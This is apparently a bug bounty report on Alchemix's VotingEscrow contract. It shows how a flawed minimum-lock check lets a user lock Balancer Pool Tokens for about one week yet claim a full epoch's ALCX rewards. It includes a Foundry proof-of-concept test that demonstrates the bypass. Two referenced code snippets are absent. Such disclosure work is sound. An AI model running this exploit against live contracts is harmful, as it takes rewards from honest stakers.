The 80/20 ALCX/WETH BPT has a minimum lock period of 1 epoch (2 weeks). However, a flaw allows malicious actors to lock their BPT for just 1 week, resulting in unfair ALCX reward distribution. This means a malicious actor can unfairly claim rewards without meeting the minimum 2-week lock requirement.
Vulnerability Details
The _createLock() function is responsible for creating a lock when depositing Balancer Pool Tokens in VotingEscrow. It should enforce a minimum lock period of 1 epoch (2 weeks):
However, this check is flawed. A malicious actor can lock BPTs for just 1 week instead of the required 2 weeks. This allows them to unjustly receive rewards as if they had locked their BPTs for a whole epoch, effectively stealing rewards from other participants.
Example Scenario:
Next epoch starts at 1717632000 (Thu Jun 06 2024 00:00:00 UTC)
Alice locks 1 BPT for 2 weeks (1 epoch) at block.timestamp = 1716422401 (Thu May 23 2024 00:00:01 UTC)
Bob locks 1 BPT for 7 days + 1 seconds at block.timestamp = 1717027199 (Wed May 29 2024 23:59:59 UTC)
The epoch resets on 1717632000 (Thu Jun 06 2024 00:00:00 UTC)
Expected behavior: Bob should not be able to lock his BPT for less than 1 epoch (2 weeks).
Actual behavior: Alice and Bob receive equal rewards.
Bob circumvents the minimum lock duration check. Here’s why:
The check passes for Bob, even though his lock time is only 7 days + 1 second.
Impact Details
The flawed minimum lock time check allows users to lock BPTs for only 1 week but still receive rewards for a full epoch. This results in unfair reward distribution, with malicious users effectively stealing rewards from others.
Add the following test case to VotingEscrow.t.sol:
function test_can_create_lock_for_less_than_1_epoch() public {
console.log(newEpoch());
address alice = address(1337);
vm.label(alice, "Alice");
address bob = address(31337);
vm.label(bob, "Bob");
// Mint Alice & Bob some BPT
deal(bpt, alice, 10e18);
deal(bpt, bob, 10e18);
// Warp time to exactly 2 weeks before the new epoch
hevm.warp(newEpoch() - 2 weeks);
hevm.startPrank(alice);
IERC20(bpt).approve(address(veALCX), 1e18);
uint256 aliceTokenId = veALCX.createLock(1e18, 2 weeks, false);
voter.reset(aliceTokenId);
// Alice locks 1 BPT for 2 weeks (the minimum lock period) and reset the tokenId
hevm.stopPrank();
// Warp time to 7 days and 2 seconds before the next epoch starts
hevm.warp(newEpoch() - (7 days + 2 seconds));
hevm.startPrank(bob);
IERC20(bpt).approve(address(veALCX), 1e18);
uint256 bobTokenId = veALCX.createLock(1e18, 7 days + 1 seconds, false);
// Bob succeeds in locking 1 BPT for 7 days + 1 seconds which is less than the required minimum lock period of 1 epoch (2 weeks)
voter.reset(bobTokenId);
hevm.stopPrank();
// Warp time to the start of the new epoch
hevm.warp(newEpoch());
// Distribute the rewards
voter.distribute();
// Print the unclaimed rewards accrued by Alice & Bob
console.log("Unclaimed ALCX (Alice): %s", distributor.claimable(aliceTokenId));
console.log("Unclaimed FLUX (Alice): %s", flux.getUnclaimedFlux(aliceTokenId));
console.log("Unclaimed ALCX (Bob): %s", distributor.claimable(bobTokenId));
console.log("Unclaimed FLUX (Bob): %s", flux.getUnclaimedFlux(bobTokenId));
}
Make sure the following entries are updated in Makefile:
# file to test FILE=VotingEscrow# specific test to runTEST=test_can_create_lock_for_less_than_1_epoch